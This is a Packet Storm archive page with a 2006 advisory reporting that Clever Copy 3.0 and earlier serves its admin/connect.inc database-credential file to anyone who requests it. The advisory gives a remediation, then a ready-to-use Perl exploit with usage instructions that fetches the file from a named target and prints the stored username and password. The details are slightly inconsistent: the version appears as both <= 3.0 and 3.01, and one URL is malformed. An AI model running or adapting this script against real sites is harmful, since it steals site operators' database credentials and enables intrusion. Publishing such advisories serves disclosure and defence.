exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

adv28-K-159-2006.txt

adv28-K-159-2006.txt
Posted Apr 12, 2006
Authored by eufrato | Site advisories.echo.or.id

Clever Copy versions less than or equal to 3.0 allows one of its configuration files to be read remotely, resulting in critical information disclosure. Exploit included.

tags | exploit, info disclosure
SHA-256 | a4aca55e0dc9e2ab030231b253111a3938a4d6832dccebaf2a3b1c80515c72cd

adv28-K-159-2006.txt

Change Mirror Download
____________________   ___ ___ ________
\_ _____/\_ ___ \ / | \\_____ \
| __)_ / \ \// ~ \/ | \
| \\ \___\ Y / | \
/_______ / \______ /\___|_ /\_______ /
\/ \/ \/ \/

.OR.ID
ECHO_ADV_28$2006

---------------------------------------------------------------------------
[ECHO_ADV_28$2006] Clever Copy <= 3.0 Connect.inc Critical Information Disclosure
---------------------------------------------------------------------------

Author : M.Hasran Addahroni
Date : April, 7th 2006
Location : Indonesia, Bali
Web : https://advisories.echo.or.id/adv/adv28-K-159-2006.txt
Critical Lvl : Medium
---------------------------------------------------------------------------

Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~


Application : Clever Copy
version : 3.01
URL : https://clevercopy.bestdirectbuy.com/
Description :

Clever Copy is a free, fully scalable web site portal and news posting system. You can run it as a very simple blog or ramp it up to a full Content Management System. It is easy to setup, use and maintain requiring no previous knowledge of web portals, blogs, php, Cms's or databases.

---------------------------------------------------------------------------

Vulnerability:
~~~~~~~~~~~~~~~~
Critical connect.inc file in admin folder are vulnerable to direct access to view 'critical' information about the database username and password.

------------------connect.inc-----------------------------------
<?php
..
//ENTER THE SETTINGS FOR THE CONNECTION TO YOUR DATABASE BELOW
$Host = "localhost"; // The hostname for your server. localhost works for most database servers or you may have to contact your hosts if you don't know
$Dbase = "clevercopy"; // The name of your database on your database server
$User = "test"; // The username required to connect to your database
$Pass = "test123"; // The password required to connect to your database
..
?>
------------------------------------------------------------------

Its works when file *.inc not declare in httpd.conf.

Poc:
~~~~~~~~~~~~

https://www.example.com/[clevercopy_path]/admin/connect.inc

Solution:
~~~~~~~~~

rename connect.inc into connect.inc.php to protect this vulnerability or declare *.inc in httpd.conf

---------------------------------------------------------------------------
Shoutz:
~~~~~~~

~ y3dips,the_day,moby,comex,z3r0byt3,c-a-s-e,S`to,lirva32,anonymous,kaiten
~ masterpop3,maSter-oP,Lieur-Euy,Mr_ny3m,bithedz,murp,an0maly,fleanux,baylaw
~ SinChan,x`shell,tety,sakitjiwa, m_beben, rizal, cR4SH3R, metalsploit,FeNNi
~ newbie_hacker@yahoogroups.com
~ #aikmel #e-c-h-o @irc.dal.net
---------------------------------------------------------------------------
Contact:
~~~~~~~~

K-159 || echo|staff || eufrato[at]gmail[dot]com
Homepage: https://k-159.echo.or.id/

-------------------------------- [ EOF ] ----------------------------------

Perl Exploit:
~~~~~~~~~~~~

#!/usr/bin/perl
#
# Clever Copy <= 3.0 connect.inc Critical Information disclosures Exploit
# Bug found & code by K-159
# Base on advisory at https://https://advisories.echo.or.id/adv/adv28-K-159-2006.txt
#
# Description :
# Critical connect.inc file in admin folder are vulnerable to direct access
# to view 'critical' information about the database username and password.
#
# <?php
# ...
# //ENTER THE SETTINGS FOR THE CONNECTION TO YOUR DATABASE BELOW
# $Host = "localhost"; // The hostname for your server. localhost works for most database servers or you may have to contact your hosts if you don't know
# $Dbase = "clevercopy"; // The name of your database on your database server
# $User = "test"; // The username required to connect to your database
# $Pass = "test123"; // The password required to connect to your database
# ...
# ?>
#
# Its works when file *.inc not declare in httpd.conf
#
# Poc :
# https://www.example.com/[clevercopy_path]/admin/connect.inc
#
# usage:
# perl celevercopy.pl www.target.com
#
# www.echo.or.id (c) 2006
#
# Greetz : echo|staff, aikmel|crew, masterpop3, SinChan, sakitjiwa, etc
# contact : eufrato[at]gmail.com www.echo.or.id
#
print "\n=======================================================\n";
print "* Clever Copy connect.inc Critical Information Disclosure Exploit by K-159 *\n";
print "* www.echo.or.id #e-c-h-o irc.dal.net *\n";
print "==========================================================\n";
require LWP::UserAgent;

if(@ARGV == 1)
{

$target= $ARGV[0];

my $ua = LWP::UserAgent->new;
$ua->agent("MSIE/6.0 Windows");
$ua->timeout(10);
$ua->env_proxy;

my @url = ("https://$target/admin/connect.inc");

foreach my $urlz (@url) {
my $injek = $ua->get($urlz);
print "\n-------------------------------\n";
if ($injek->is_success)
{ print $injek->content;}
else
{die $injek->status_line;}
print "\n-------------------------------\n";

}
}
else {
print "\n Use: perl $0 [www.target.com] \n";
}
Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    44 Files
  • 6
    Nov 6th
    18 Files
  • 7
    Nov 7th
    9 Files
  • 8
    Nov 8th
    8 Files
  • 9
    Nov 9th
    3 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    14 Files
  • 12
    Nov 12th
    0 Files
  • 13
    Nov 13th
    0 Files
  • 14
    Nov 14th
    0 Files
  • 15
    Nov 15th
    0 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    0 Files
  • 19
    Nov 19th
    0 Files
  • 20
    Nov 20th
    0 Files
  • 21
    Nov 21st
    0 Files
  • 22
    Nov 22nd
    0 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    0 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close